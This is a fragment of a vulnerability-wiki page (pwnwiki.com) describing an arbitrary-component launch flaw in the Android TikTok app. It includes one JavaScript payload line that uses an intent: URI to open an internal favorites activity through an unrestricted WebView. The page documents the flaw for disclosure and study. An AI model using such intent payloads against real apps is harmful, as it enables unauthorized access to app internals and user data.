Loading
0

安卓版TikTok 任意组件启动漏洞/en

免费、自由、人人可编辑的漏洞库--pwnwiki.com

,

The good news is that Add Wiki Activity WebView also supports intent schemes without any restrictions. But if the following code is executed in Add Wiki Activity, User Favorites Activity will be called.

location.replace("intent:#Intent;component=com.zhiliaoapp.musically/com.ss.android.ugc.aweme.favorites.ui.UserFavoritesActivity;package=com.zhiliaoapp.musically;action=android.intent.action.VIEW;end;")

免费、自由、人人可编辑的漏洞库